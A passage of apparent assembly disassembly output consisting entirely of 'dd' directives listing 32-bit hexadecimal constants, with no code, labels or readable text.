0DA8FF963h, 2DC3B12Ch, 413DCC20h, 0EB1D50E8h, 53743390h dd 9B35F39Eh, 1552CE4Dh, 453FE538h, 0B8FDD499h, 9B3E11C0h dd 3B7CC0Ch, 1C743C6Eh, 1434050Ch, 80E0FD4Eh, 77345DC3h dd 3F30EC2Eh, 0E6506C98h, 364C53E9h, 0F98D7452h, 290000F3h dd 9F58C25Bh, 0F3258561h, 121965DCh, 0DF97354Fh, 32E76080h dd 0D6DDCBB7h, 0B6EA8BAAh, 2C878E2Bh, 8AD95593h, 25031AB0h dd 11C8094Ah, 0BDF345FCh, 37AFCF1Dh, 0ED80E60Ch, 81AA1267h dd 7CACE53Ch, 4C86E870h, 95317E04h, 98D48EF8h, 0F5862E20h dd 98492CDFh, 45C02191h, 0F609DAD1h, 77A40178h, 54C7415Ch dd 0C926AC75h, 1D904EAh, 0C387231Eh, 2357A729h, 0B9831238h dd 1CD06A67h, 39B0F463h, 3D7BBB2Ch, 5B764ACBh, 54DA4BDAh dd 0AE728761h, 0D1616797h, 54BE039Ah, 4D525132h, 402EBCFh dd 3D624F45h, 50D314F7h, 7AB268Dh, 941C6827h, 0D9BE4C56h dd 0C4F00DABh, 511D1C44h, 0E5D360F1h, 6F21B136h, 8BF6FA7Ch dd 80BEFD2Bh, 72712D74h, 1D713924h, 0FAB4F2A9h, 0F397CF46h dd 0C7937FFDh, 917392D9h, 62BDD1EAh, 7A7DF0F9h, 4C9ABAA0h dd 0E8E48183h, 0A8DA6149h, 0A207FDF0h, 0CC12C432h, 0E282932Fh dd 0DEF2D2E6h, 6310E3B5h, 4505126Ah, 0A52844D5h, 0A9D411FCh dd 399349ECh, 3F27CF31h, 69237265h, 8E0C7D70h, 0C17DA700h dd 908E5D21h, 0E61CF83Eh, 68FB9DE0h, 7B0CFB9Bh, 113E19E8h dd 5CC01CA2h, 2F4F2201h, 2CAEFE5Eh, 811AD32Eh, 0EF90505Fh dd 10544018h, 39E03F14h, 0C161817Eh, 0F9BD4292h, 57361FC8h dd 17B2ABAAh, 0FCEA038Ch, 0CBBF4FF6h, 0A210525Ch, 0FC02B659h dd 0B77915EAh, 0ABECE4B6h, 0FDA1DC01h, 0EBF9E174h, 96B5DD15h dd 0AD1CBD8Ch, 35BB1A0Fh, 0E1863C92h, 51DE7878h, 7E88BFC4h dd 0E131961Dh, 0CEBC9806h, 294E09EBh, 21C523BBh, 345B7455h dd 213AEC0Dh, 0D46D10F6h, 7C4AF89h, 7714DE65h, 0B9C61666h dd 73EFFB36h, 3B471D9Ah, 8B0F1B94h, 0DDEC315Bh, 3EDCA024h dd 509ED3C2h, 0A85A3506h, 8B00B0C7h, 9C221776h, 4EA35A1Bh dd 143F8ED3h, 7BBD06DAh, 45C44526h, 1B595044h, 8BC3BFECh dd 1BD57819h, 432D5F65h, 0A1510161h, 3E6985D6h, 0E9C90B2h dd 81785A15h, 0B77213C6h, 801FA458h, 7244DB0Ah, 549601E6h dd 65A551B6h, 0B18BA240h, 8E0752Dh, 0D848575Dh, 0F5E347C3h dd 8D8C5D12h, 25749F55h, 4AE0E72Fh, 896E00FAh, 660BA711h dd 46802046h, 5D535EC8h, 2F2F3A24h, 0CD38D11Bh, 0CE6439D1h dd 3CCC8072h, 65A138C9h, 0F460F009h, 3D3A17DDh, 0F1115D1Dh dd 0D215B22Bh, 5B14D78Ch, 41C9FF88h, 7FB930D7h, 0F7CB51C3h dd 2B52AF8Ah, 15170EDh, 0EA97D1E4h, 5753C363h, 0BA62303Bh dd 573DA69Ah, 3F8F873Fh, 996A4EDDh, 0E610F82Ah, 0CB4AAB7Ch dd 0EB467D4Ch, 0C624743Fh, 5685A0F8h, 128E381Eh, 0BC4F29AFh dd 0D3645DA9h, 1F4D883Dh, 14A1AD02h, 91B9A6EBh, 3AE800C7h dd 0CF39F266h, 0A0DFAFFBh, 32B42714h, 0F696AC7Ah, 0BBE980C9h dd 6B756F1Ch, 711D51D2h, 5EB4E26Bh, 11891AE6h, 3BCF1C53h dd 266258CCh, 174C8E16h, 35288761h, 0ECF88767h, 0D028E446h dd 3BCAD8C1h, 0A3D364EBh, 0DF5946D7h, 23A4B090h, 0C01044D4h dd 0BAAE63E9h, 7EDF924Fh, 0AB20EBC1h, 29FABF7Ah, 979C86F9h dd 10612096h, 786500B6h, 8EC9A318h, 9546A7D6h, 89D9078Dh dd 8516C459h, 94D56CE0h, 0C496B66Dh, 0B3CC7841h, 0D7537BBCh dd 9E04E19Dh, 0FC44789Ah, 5F572614h, 1E6A4251h, 0A8B2237Eh dd 0CDE59A37h, 0F580ECDBh, 0D6E78C63h, 9AE88E41h, 1D0EEA86h dd 0B60EEF2Eh, 17F99741h, 0B6651E25h, 2A0E595Ch, 381B839Ch dd 0F6768EF6h, 1A1EA0F2h, 54B3BDEDh, 0BEFE08B7h, 7C6A8CD3h dd 0BB6613F8h, 57A327B1h, 2B5217C1h, 8E507E4Fh, 5D34687Ah dd 0C1F625D6h, 0A0B4F3ADh, 99FD0F59h, 6C33CADCh, 384D60FAh dd 0C46DCA3Ah, 0B5F837Eh, 35D82D41h, 0D9998588h, 6F248DCh dd 0CC057889h, 0A26985C6h, 2FC0B1E8h, 5037B641h, 0FF474460h dd 51349CF5h, 0ECD35DAEh, 48CB01B3h, 2AC43DBFh, 0A4E158BAh dd 86F08CB8h, 26D5C644h, 6DF45A61h, 0DBF93A8Ch, 0DECA83D5h dd 9E46D166h, 9228BADCh, 0D68C8AF2h, 400FF421h, 0B1430F79h dd 3F25FF83h, 2E3F3BD5h, 3B72F2Ah, 3AD6BC18h, 0C018C095h dd 25D6B3F6h, 0A114A814h, 448B76C9h, 0BDD017D1h, 6482F906h dd 0BEBC2C60h, 0EE09B5EEh, 4E394B69h, 81327809h, 53405A77h dd 7D1760D5h, 815F7C6Eh, 0E7DEBCA6h, 235AFC6Eh, 6BFE159Ah dd 1920D51Dh, 300F79A7h, 0F2D6FB92h, 0F4B10738h, 0F9C7FC66h dd 8896DF92h, 0DE956153h, 596DBB2Bh, 63BC6F23h, 730C7FAEh dd 96413258h, 65347592h, 2C7B7F47h, 81DC4079h, 0C2971ECAh dd 25A7EA01h, 8323B875h, 8880C2E4h, 0FC0B0CA8h, 2489255Bh dd 9A64AA78h, 2C7915DEh, 79662225h, 6B09C6D0h, 0DAE37013h dd 0B06D282Ch, 60E30A44h, 619072Ah, 8E9EFA66h, 0D03B2136h dd 9A47D42Dh, 0D1B5E2E9h, 809C245Bh, 5BB71EB1h, 441D2B55h dd 4D12EB82h, 0D72FAEAFh, 95D159C5h, 0DB9F0D65h, 65C52BE6h dd 0FC12A2D2h, 0A0B39100h, 6ACD1386h, 0BC1DA687h, 0E9EB6DCEh dd 9F98C526h, 7A8BAE83h, 2778A1E5h, 0E9EC6CB8h, 0C1A63730h dd 0BF46D2BFh, 1159C709h, 0A6F5905Dh, 60C4063Dh, 0C1AAA4Dh dd 0EEE79C42h, 14C799B4h, 0F22740D9h, 0E4D46AF1h, 9750F693h dd 4858523Dh, 6CC3FCB3h, 12507877h, 0F941877Bh, 6B9A09A3h dd 914CDA7h, 0F4BBC3EAh, 7AFBD3AEh, 0EF1D35Eh, 37C7190Bh dd 877A9CC1h, 64847FF5h, 96ECFBAEh, 733823B4h, 0CA45565Eh dd 572695EFh, 4F821A39h, 530E5290h, 6A54C583h, 1359BB0Dh dd 44DD8A55h, 2C8869AEh, 2F662F4h, 0CFA32A47h, 92119F6Ch dd 0C5F4CFA9h, 32F6C9B6h, 650A88FAh, 612BE031h, 0A2A51E75h dd 6D30FC41h, 0BBADC86Ch, 0B2B5C6ACh, 190CCAAAh, 0D5DC4480h dd 0A6AEB75Bh, 0D9C13569h, 99ADAFFBh, 0D7E0F45h, 0CC9A38F6h dd 7EDDC06Bh, 7084547Dh, 53AC8913h, 8CE0E9C4h, 1BCDBA15h dd 9EAF7078h, 0F66E6BA8h, 0E15B94E2h, 791F28A9h, 4D693828h dd 0DFDBA201h, 3E2D37BCh, 770E7A7Fh, 90DBF390h, 614D771Fh dd 0BA425FEFh, 0C611116Ch, 2DAF4D8Ch, 0A6825E3Ah, 0CA19F918h dd 0CAAE3704h, 0CE1077A0h, 3C697D81h, 19B1B0F8h, 1448A6B8h dd 0AD686B61h, 0BEE6F9A1h dd 3FAF348Dh, 6CF74664h, 4D7E8441h, 2DF488B0h, 956208Dh dd 5AB5C1D6h, 4D4754Dh, 4CCEE1C6h, 0E9325E1h, 0BE68C50Ah dd 0DB66162Dh, 9E67F669h, 8E44A604h, 0EB5AC4D4h, 9B9DDB71h dd 0E5AB9534h, 4068C032h, 637D5EAEh, 0F5523C54h, 40C19B51h dd 203B8405h, 0D924056h, 353BADB2h, 38C39D37h, 527CB8Dh dd 46707578h, 99D0D0EAh, 0F07E0041h, 78493193h, 35A5EBEFh dd 8A6E1064h, 0AC72D1A0h, 7FFC1060h, 6290C4C7h, 0C7F5D257h dd 1071240Ah, 13FD4A2Bh, 0F87A8FFCh, 3D91FAB6h, 0AAE47C75h dd 295E7F43h, 356C8E79h, 68D1841Dh, 116A4398h, 0E4204004h dd 1639C815h, 81794B6Ah, 323C81D8h, 5416F731h, 8B783554h dd 699EE12Bh, 7CE5B9BFh, 8A46C098h, 0D544FA76h, 0BD9C8195h dd 7761C16Ch, 0AB3D6F1Dh, 88E28178h, 576E5098h, 0ED6A18Ah dd 0DFBAD5Eh, 4CEB5D05h, 9E6DEFC5h, 18470DD0h, 0FCD35D72h dd 0A3CEC753h, 210E71A6h, 5F0E34EDh, 3E97C0E1h, 0BC1B505h dd 0C3800F3Bh, 773583Fh, 0E03E3C71h, 5A5827F1h, 8DCC9ADEh dd 8411D037h, 829C3159h, 168C9F1Ah, 205DFA25h, 3F80874Eh dd 5558CC0Bh, 41C36B60h, 9D0D3013h, 0F3623132h, 0B3F5EAB5h dd 3261D180h, 0BAC8C703h, 2D3FCABCh, 0FF94ED37h, 30F81C96h dd 0CE1E4E32h, 2F014DDAh, 9314BD30h, 0B38343F8h, 0A18FF818h dd 7F8F1744h, 5706B1C0h, 0FFB7B7FFh, 5B916710h, 0E70C4DB1h dd 0E5273459h, 0A1313835h, 50FA2BAFh, 7E88A90Bh, 6568419Bh dd 21B1F022h, 805322AFh, 73A788DEh, 0D8EAE07Bh, 1F16DA47h dd 97652645h, 2B1D805Fh, 0EB89353Fh, 5AB9767Dh, 9780859Dh dd 44D4A8F8h, 9EC3A84Ah, 164DBB82h, 0DA9EB3AAh, 13D8A045h dd 6AC0DA8Ah, 0BF53D1E2h, 1B6C1566h, 3E2B3836h, 68099D83h dd 405EA237h, 8C58BE9Fh, 0E5EFB175h, 357F6C4h, 0FDA3FDC1h dd 183C568Bh, 137AAB9Ah, 9C64138Dh, 11FCC57Dh, 0BC7D0012h dd 876BD04Fh, 81A387A0h, 2BEB96FDh, 0A2C02840h, 712550CBh dd 0D97EADD2h, 0D2D4E81Eh, 52FC5E51h, 6C86B3ACh, 7E66BC16h dd 0C45AE694h, 25838AC0h, 96C69A1Ah, 50DD1B53h, 0E60E6755h dd 5E4395BEh, 8B8C6D7Eh, 487B1280h, 0A23688CDh, 0DB91691Fh dd 0FA36B86Fh, 97D3EF4Fh, 159397A8h, 9AC784F8h, 34F6C5Ah dd 0B5C4D95Ch, 779F7737h, 630A8046h, 38CC5A37h, 3AFF59E1h dd 53F3F1FEh, 0D14B0E5Fh, 0C16050A3h, 53648588h, 28BAE696h dd 6A54CCF0h, 0C979F416h, 0B766B8D2h, 3592EBC1h, 0C8430325h dd 0C68A6F4Bh, 0C2E163Ch, 2AF43633h, 1F73E4BFh, 2189B7CEh dd 435C9757h, 6ADE3881h, 461801E8h, 84CE20B3h, 521C4DDAh dd 0F8BF008Ch, 0A4DAE95Eh, 0F31A9252h, 0BD0E6258h, 0BF738906h dd 59EF8DD0h, 0B23FD808h, 9BCEE010h, 28852A8Eh, 2431B72h dd 51A2CC69h, 6F463FCBh, 173F981Bh, 48042524h, 0AC26CB7h dd 585BD5BDh, 0C0E098E7h, 1E185391h, 0FDAB9A1Dh, 47A87C72h dd 429D6CCFh, 8F65F5E9h, 2F4BD951h, 0DD025ACCh, 2630B621h dd 1A519CC1h, 6449A79h, 4BA5E07Bh, 0C7DD549Fh, 9A65BF24h dd 1794B4BAh, 111AA53Ah, 0F6CADE5Fh, 2464C374h, 0E9F14FE5h dd 1D132E46h, 678AD4A0h, 2759205Ah, 0E5351653h, 7B4F3147h dd 0F06DC283h, 6669AF4Eh, 1BCCBE58h, 1DE8839Fh, 401AEE4Bh dd 66E76819h, 0C83F3FCDh, 4E225F88h, 37AF1115h, 8A294AE9h dd 75D8FA83h, 0CB4827E5h, 0DC72AE09h, 0CAE5AE55h, 0A3F1A5Dh dd 0EA22F8F9h, 83308F36h, 4E83F3F4h, 4A1C12CFh, 0C158E124h dd 7CE25184h, 9607EFB7h, 9CDC4D0Bh, 8835AAE7h, 0EA06D1F5h dd 0F3D960B5h, 1A23E461h, 48EA588Ah, 3D41C548h, 1CA5E238h dd 0F51702A1h, 0C26F7514h, 3E7BB64h, 243B0279h, 693FE735h dd 0BBE8453h, 87BC8588h, 0E095FC39h, 3A62D8Ah, 2728B3B4h dd 8F645CDAh, 1F49CB2Ah, 8816042Fh, 0D8891547h, 11FDF915h dd 0CFC3FC4Ch, 0D39013E0h, 1D5FAE3Bh, 7FEE2E00h, 0A8EAD289h dd 12488813h, 54C53437h, 0E8E32C22h, 71A57D71h, 41115909h dd 48DDB559h, 953ABC08h, 76904CE0h, 0A4B9C155h, 0D11A5F2Bh dd 486CCE50h, 1C75FA3h, 0EB6C4EC5h, 0A6D0244Fh, 9F7252DDh dd 774AA49Ch, 8D111F30h, 1C930659h, 3FBEE560h, 80B84024h dd 3EC59361h, 0AB27103Bh, 1627F98Eh, 0ACE05B53h, 30FDDBD8h dd 0B1197ED1h, 0B4D51B1Bh, 0F118B84Bh, 55F23A74h, 0EAC0403h dd 2A5FDB9Dh, 9508D6FFh, 401A0DB1h, 0DEACB8D8h, 4CB315C8h dd 0AFE4194Bh, 5EF07495h, 0FADBD14Dh, 0B5CAC735h, 1EA9F140h dd 3711AC4Eh, 813B57DDh, 18A3A8A9h, 0C8625A6Eh, 0DAFEA155h dd 0ACF8A1ABh, 30CEDFDAh, 97D2717Ah, 0EBC22067h, 0B9FE6407h dd 0B7A254B0h, 58C56F9h, 72C53C17h, 31A1D42Fh, 62090C3Dh dd 0ADF84EC5h, 4573620h, 0DD43AC40h, 3B7EEA6Dh, 37E96A1Eh dd 0C598F70Eh, 5B237753h, 77A0B465h, 0C5FB21BFh, 5570D4F8h dd 0CF02D50Bh, 90F3D014h, 25310709h, 0E5F2F5B7h, 0DFA70351h dd 1E3E12CAh, 16955415h, 0B9FC2DE5h, 2EA71418h, 0FBD40DF2h dd 0BEFBD6A6h, 96336762h, 0B0A9C809h, 0D9CE9A96h, 80E0A41Bh dd 9CC2AE1Fh, 7C533FEEh, 0DBA7A6B8h, 0BCFB30E9h, 45FD67C2h dd 8589ADFCh, 0ED041A71h, 1721F51Dh, 0DD0CE4FAh, 1165B4ADh dd 0BF613087h, 0A78A1E48h, 0F7D30142h, 7A4B4132h, 2EFB647h dd 8FDF2C4Ch, 0A244E974h, 0AC983A1Fh, 0C701FB19h, 180809C9h dd 2C070487h, 45A1E122h, 588E3217h, 4785F624h, 523DB10Bh dd 0D6B40837h, 0BA76BCECh, 0CEEBA6BCh, 5F0E4301h, 5F2F420Ch dd 0BEA32E58h, 7C30A47Fh, 7E90AAEBh, 0AFA6C488h, 4219425h dd 16B7BE37h, 69B6B9FBh, 0A21B7E2Dh, 295E46BDh, 0F17222AFh dd 408726D3h, 2F56F7Dh, 36038E9Ah, 1F8ED66Bh, 847DCACCh dd 0A3099B1Fh, 0CF42E068h, 186041BCh, 0A449EC02h, 3F7978CFh dd 43A74AF0h, 66CC001Ch, 7A47D775h, 2EFF184h, 0A4CC2F55h dd 77E3807Eh, 844C8CBDh, 52DF7D09h, 28691D50h, 16E57A31h dd 0E014A572h, 0F2E1E7A2h, 4FD22C79h, 48A129A7h, 911609ECh dd 0D236C9Eh, 0B46FC58Eh, 37B9F0CAh, 0E5EDC993h, 0A3728BC2h dd 5BC12FA1h, 1CF9F84Bh, 34CDA75h, 6F5E4555h, 81EBAD5Bh dd 0D466022h, 2F20F83Dh, 7D53F0A2h, 3F22FE92h, 0F2A3FF14h dd 38D6DFBEh, 0F1615992h, 12045F01h, 58FC095Dh, 217084C7h dd 15C55462h, 3C1EAFA9h, 831ED615h, 98145638h, 0BB55916Fh dd 0E531F66Fh, 8A841B4Dh, 0A31130B6h, 9BBF9587h, 1712ADF3h dd 0F9061715h, 5EC4D4Bh, 0D5B2402Fh, 0B99C6283h, 55EF718Eh dd 0DC4B6B91h, 7AE096DCh, 93EEAB37h, 7779AC13h, 0BD2DB241h dd 0F5E2293Eh, 469D9745h, 0B87C0069h, 5F0A7ADAh, 3E56AE6Eh dd 8B3D4231h, 358E0CDFh, 0DA68759Bh, 0D54AC58Ah, 915299BEh dd 0DB697D83h, 8A28288Dh, 0BC405F33h, 0D43E7904h, 1704F630h dd 61AB81B3h, 0F571B475h, 47292CEAh, 86294536h, 182E65E4h dd 2982D869h, 0D623A6F5h, 25E68926h, 0A59A1C22h, 71A5DBF3h dd 0AD5B09DBh, 96BCC2Bh, 10BF7044h, 0DC543B4Dh, 6E17EBF9h dd 21EB748Ah, 6D9E6A98h, 64520FF7h, 6C476A8Ch, 500E5655h dd 892C6FA6h, 2A4D2CF1h, 9B66D62Eh, 7204404h, 0BE7793BFh dd 618B4B62h, 47E4DDE1h, 0F0E48F72h, 0B9721427h, 4FCFB50Eh dd 0EF9E2339h, 307434D4h, 0DACE8D14h, 0E5997604h, 0E84D02DEh dd 0D303CCF9h, 0C2B77250h dd 8176D30Fh, 0AAEC817Eh, 0CFE951D4h, 0C2D3DD17h, 0EC300EE7h dd 0CFA7E526h, 11932761h, 0A0555443h, 2C2E4A04h, 0E45BEC69h dd 4C4085A7h, 6F8D0144h, 83D3475Fh, 0BE2FFDC1h, 54B48E68h dd 767D0181h, 4E2C7A1Eh, 2440B8F2h, 0B39A8B36h, 0DF23EBBBh dd 0BEB11ACh, 0CE24989h, 0A479AFEBh, 60CF43Dh, 9F747F92h dd 4701BB8Dh, 6044E2A1h, 0C8DB44Eh, 85616570h, 0B75ABDDBh dd 4C5FCE47h, 617D1836h, 81C6A53Bh, 0C5A1CCFEh, 6A943EC6h dd 0AC39FE60h, 30B71525h, 0DB8117C7h, 7EF43AEh, 401A7F78h dd 52E714AAh, 0DDEC1EF8h, 66F7383Ch, 1BF52EDAh, 64300D3h dd 5D2E2F8Dh, 2CC3E849h, 544469BCh, 4166E9F7h, 1907C776h dd 0B98CFF63h, 4279559Eh, 0FEB887BEh, 0FE447Bh, 0FBDCDC74h dd 55237B0h, 97DA8F5Ch, 29B05461h, 27677C63h, 0AEF826A6h dd 0B4F08783h, 0A7195E81h, 0DB0CB717h, 6E6F81C4h, 7FB17854h dd 3DEC51A1h, 4E7E52D2h, 0F8C874EEh, 2AF932B2h, 8A1A59C0h dd 27812DC5h, 21D7478Bh, 718FC9A6h, 0C156885Fh, 3EB314BFh dd 338898A1h, 0FCFF01B3h, 287F7886h, 201C6FFh, 93A1C63Bh dd 5EA2252h, 16B316A7h, 0F70FBB74h, 6B0FCDCEh, 0EC8FFA2Fh dd 0EE95DE52h, 0CF931AE9h, 0EE9AF32Ah, 72274A4Fh, 1EAB2495h dd 0C9A8C21h, 0AB0DE3D4h, 6AE13FDh, 4656E9A9h, 0B5757A00h dd 9138F058h, 3E99D636h, 7F9B1C2Eh, 65174F7h, 0E22E012Ch dd 0E9DE091h, 94966A54h, 0BF9E9DBFh, 9E1B1A9Bh, 0EE596E68h dd 0EC2C19E3h, 0F1E9127Ah, 7B6E629Eh, 9C0416B7h, 769E14ABh dd 73ADA6Fh, 0F494F366h, 42D060C9h, 0E6C56490h, 0EBB850D0h dd 70381F61h, 0ED492AD7h, 0CCFAC8E2h, 7096B68Eh, 4B8DE63Eh dd 11BB2B79h, 0E358500Bh, 89DD9F8Eh, 4009E6D0h, 229222DFh dd 3D673F30h, 459EF486h, 97D83E16h, 0CFC908F4h, 748928EBh dd 63B6C764h, 0AAAFFC32h, 179111C0h, 39DCABC3h, 7F6096EEh dd 7BFD0AC0h, 0E98D7063h, 0D5D0AB4Ch, 58CEC2B4h, 0C5BEC29Ah dd 93856707h, 79B56889h, 3D16A428h, 8E67F108h, 0A7816FD4h dd 96746FF6h, 87827B67h, 0E6C74DAFh, 6ECBD5D1h, 9AAD5942h dd 0CE796663h, 0C195974Bh, 17D46237h, 597184E6h, 0A617DF07h dd 31EC7A23h, 0E056714h, 0D94866ADh, 871E60CBh, 767C53C8h dd 112EE0A1h, 860D54ACh, 870A6989h, 14B7794Ch, 2F55FF4Bh dd 0C654239Dh, 9532881h, 0D20924E7h, 82080647h, 6DFEB8C1h dd 0C4576F10h, 7E66748Dh, 566A5F70h, 210CB21h, 689AF9ABh dd 0D864ADD8h, 0EB6B10A2h, 0A2F34E35h, 2FDF2BB9h, 4A4BF71Dh dd 0A1E38E96h, 660B4697h, 0CCCCBC29h, 0B0E4B658h, 0D80238BAh dd 1F17A893h, 28336E10h, 0CB7775F7h, 0BE94C688h, 0E9F7281h dd 0E42EABBDh, 2728D6Eh, 0D106116Eh, 0EC69BE69h, 47B51E3Dh dd 1188125Fh, 150F2B5Dh, 43668F0Ah, 0D9F9070Ah, 96CB669Eh dd 7E7EFDCCh, 0C4ED849Ah, 7EBD4666h, 3E832251h, 0F04D148Eh dd 0EA096277h, 75618282h, 5DC00BD7h, 3936B67Fh, 0D93CF3C0h dd 0DD6D5165h, 444FC319h, 8CECB2D4h, 0B4FB17A0h, 0FAAA13ABh dd 0C2890F97h, 2EA25755h, 0FC4C13EDh, 49C4152Ch, 183C301Ch dd 318400C6h, 409B6766h, 0D63CA7C9h, 0D5F024A7h, 4596A963h dd 28EF22B5h, 0FE04CBEAh, 1ACABE3Ah, 0DCEAF50Eh, 0DF4DEFA3h dd 0B9B17D50h, 5A1D0605h, 7D670E15h, 0B3D08F94h, 7945C959h dd 170DC126h, 0C1C4B9B3h, 0F1F80D2Ah, 0E2D26F4Ch, 84D32898h dd 0E99E3588h, 0F950C9BCh, 5CD28ED3h, 77E87016h, 0E1E9C37Fh dd 0F7244F6Ah, 3C055A56h, 0A0C58FE9h, 5EBFFE13h, 632F60E9h dd 0E2D5C29Ah, 0F99E712Ch, 0AE343000h, 0A98056E0h, 7D352E69h dd 6DE48AEFh, 7051F6E3h, 7D21Dh, 0E8EB1E17h, 73116923h dd 0B41C6A17h, 9D6F4D41h, 0C8963A60h, 59E21A06h, 0C778A8ABh dd 8CF40D6Fh, 0FEA70E4Ah, 0DE220D06h, 98A507BEh, 0D2937D00h dd 0ECDB2F89h, 0F3ED8E8Ah, 5645435Fh, 0CFD36764h, 3792C16h dd 0E4C19699h, 4A20B3Dh, 8AF76FCEh, 0F7E5DC14h, 0A54BC275h dd 0DE2A08CFh, 0C0E7EE7Eh, 0B10CCDFFh, 664DCBACh, 16806E13h dd 0B557D68h, 748EA20Ah, 0A433D62Bh, 21F47h, 0CCA70670h dd 9301A05Dh, 6B700390h, 44A04627h, 0EFDB1A3Ah, 0BBBE8DECh dd 0CC36B7C8h, 528C8B6Ah, 7B012F6Fh, 0E29AF6Eh, 0CA3949C6h dd 0B12F8947h, 93B1D6DBh, 7CA741B9h, 6D580430h, 40DB00CFh dd 0C25C5E9Eh, 3438CB1Eh, 0E6E244ABh, 0C60F7B07h, 0C57C6700h dd 0F610B64Bh, 3573850Bh, 9AECECC6h, 188B2DE0h, 6E8422F1h dd 0C3208CA4h, 0D0A36B80h, 0DF5C300Dh, 0B1CDBF8Bh, 7DBA0EC6h dd 2ED5F77Dh, 325D93A8h, 0B89132C3h, 0D4CAD926h, 665A7F42h dd 2EDEE0E6h, 931700BAh, 0FA459C08h, 764D4D07h, 66D5DADh dd 0D115439Eh, 0A3782A12h, 0DD8192C5h, 47037294h, 0C86349D4h dd 2382CA49h, 5B20A02Eh, 16CCF9DFh, 0F0CECCD3h, 0CC20DA07h dd 0E4BFBEC4h, 0ABEC8C03h, 0EA7C4E51h, 0DE6CB772h, 92400529h dd 0E16124A7h, 0EBE31C96h, 0DF13BF5Fh, 96E36DBDh, 0F0A88323h dd 6C85BE7Ah, 67A42022h, 89FC935Dh, 0F33DB5C4h, 91DD583Bh dd 9749A2A4h, 455BDDEDh, 8DFFB3B9h, 0E7EAF58h, 5A9530D0h dd 0FB26E1Ah, 97ED58B7h, 598C35B4h, 0B28D6100h, 5787FECEh dd 9EE706D5h, 9A740369h, 0C989ACC3h, 946B64CFh, 9C72F2E9h dd 65F7A29Ah, 1F0E5F6Eh, 2D7908FAh, 0FACB305Bh, 0D1209E3Fh dd 5C2BF269h, 0C2B87EE6h, 0A6B18652h, 0EB7A259Bh, 32BFF113h dd 67B48D0Ch, 4251CE0Ch, 9ECB02D9h, 0D024A32Dh, 1187B97Fh dd 41398D05h, 0B94E380Dh, 86872FADh, 0F1C0CD53h, 0A2E965C9h dd 0F551AE97h, 0D90A9EC9h, 90008C19h, 7709AA44h, 55CE1E6Eh dd 252CAC8Dh, 4739A707h, 0C67892D7h, 9CB3D5CFh, 30654D7Eh dd 0CD78D387h, 362DD3F8h, 0B9327CCFh, 620B73DCh, 6AE31FAh dd 67EB4F9Ah, 0AC3C5BA6h, 426D64A3h, 299D3C03h, 0B8095473h dd 9FD3D48Eh, 9553F82Ah, 0D3E20654h, 0BAA60133h, 0B22679E7h dd 0BF443982h, 10086BBEh, 7DF578Ah, 29F7C796h, 90361CE6h dd 41ACED10h, 4DCA5D41h, 6A12D9C5h, 0C783D5EBh, 4F79A785h dd 0C2130B17h, 1289AC71h, 1CCEE2AFh, 4B4112C8h, 2D37E843h dd 0E47A367Ch, 0BF0F09C2h, 1E260F6Dh, 44507EF9h, 37461E6Fh dd 5BD36B8Ch, 0DCCB2E9Ah, 9254AE5Bh, 74C40AA6h, 7A311308h dd 423F3FB0h, 198D156Eh, 0C3648B4Bh, 53E6C820h, 0C47197A0h dd 0DB38B173h, 9CC789EEh, 69F6D3CDh, 3B5B574Dh, 9297E6EAh dd 0D833319Ch, 905DE791h, 0EE7F82Ah, 0CD8DA64Dh, 48367AF3h dd 1052D97h, 4DD6D159h, 0C29C900Fh, 19870A75h, 0C73D0F46h dd 4159CCB6h, 756DEA06h, 0FC372B60h, 656C9758h, 0C33E2749h dd 80A6BA82h, 0BA063A98h, 0DE903B87h, 61944828h, 83F012DFh dd 3635710Ch, 44F194D2h, 0E27840F4h, 74EAAB1h, 81B5A512h dd 0B0D71536h, 51F9E809h, 0C1F7344Bh, 5474C5A3h, 0AA74516Bh dd 1FA1A94Ch, 0D95CF476h, 92BE8A91h, 45D0B1D7h, 0BE863AE8h dd 0DA755D43h, 1BA8ADDBh, 6649C9A2h, 8862B16Ah, 0C9A4CFAh dd 0C0CAE619h, 0ECEC981h, 4F030753h, 0E31C760Dh, 366E0BB0h dd 0B8371C49h, 0E4DCBC0Eh, 28483687h, 0CB3AEA73h, 0B7B46DAEh dd 0A531215Bh, 3A5AFD1Ah, 0E62303D1h, 55534D6h, 597DA1A9h dd 0FE75530Bh, 0A732C9Ah, 4BF79345h, 0CBE5D5A1h, 9991701Eh dd 0A03427A5h, 1B36EF6Bh dd 0BDBDEAFDh, 82C95CB7h, 0D6E74305h, 574C8D45h, 26D976F4h dd 1A119638h, 0F47F9E6Eh, 1A52A9F6h, 7851FF4Fh, 0B2FCC035h dd 6C3677A1h, 84410465h, 0D155AB89h, 1C2C739Ah, 0C4143F8Dh dd 31488DE4h, 0DB2B74E5h, 0CDB12AA2h, 0AEAB938Eh, 65D3FA4Fh dd 4357AD48h, 948F612Fh, 5E2B4859h, 0ED2E9CE4h, 0D6F266D1h dd 660BD695h, 4DE031Fh, 9C0424C2h, 7DC1359h, 70791097h dd 49C2770Fh, 0E689D316h, 3A522A1Ch, 8E28D411h, 0D8BC333h dd 838FAD5Eh, 0FFE0A8C5h, 0EFA28189h, 0F6EEA424h, 0D3E58382h dd 7EB10735h, 2E4E4209h, 0DFC15DE5h, 0A4D50832h, 0FFB121D2h dd 0AD87D208h, 0B4B0F464h, 5B8A0403h, 0C9BFF203h, 5D9606BDh dd 3F271522h, 8C2300C0h, 90ADCE8Fh, 5C3AAC7Ah, 785EF1A6h dd 0C98D3EB0h, 685F1F90h, 59A984A1h, 0B5E5F36Dh, 1D5EC1C3h dd 1DC5688h, 0BAD01DEAh, 0B38C6199h, 0B02FFE06h, 12C1DDD2h dd 0D5E0C3B5h, 0C70260C0h, 6B51AF7Bh, 1EE7E3DBh, 8CC242FDh dd 7540AD15h, 3F08FAE3h, 0AFDCC89Eh, 0E642FF15h, 0B2FA663Ah dd 0B83E6D80h, 0ED189BA6h, 0F571C70Bh, 5D7B3B6Fh, 0DA4F8D9Bh dd 0BF476E5Ch, 2E259A8Ch, 0C08B3DF7h, 4AA345A9h, 0FC9B760Fh dd 8461E48Eh, 3C1BE3B3h, 84ED6119h, 3B1E296Bh, 0FEEBDD41h dd 73D8CEC7h, 1FDD8873h, 0CAC31C1Ch, 996159D5h, 74F7A639h dd 0D2A9744Fh, 19EF971Bh, 4DFC0380h, 8DD19291h, 6C3A63BDh dd 0E32A53CCh, 0FA73DC6Fh, 0B8D3734Dh, 5DC88550h, 8C97FDB9h dd 0C789589Fh, 26654F1Eh, 376F257Ah, 68F7174Eh, 155F2E20h dd 2833C230h, 7EA10FADh, 24F73155h, 0F3D75E98h, 2DEB6910h dd 0C99415C8h, 2EE610D8h, 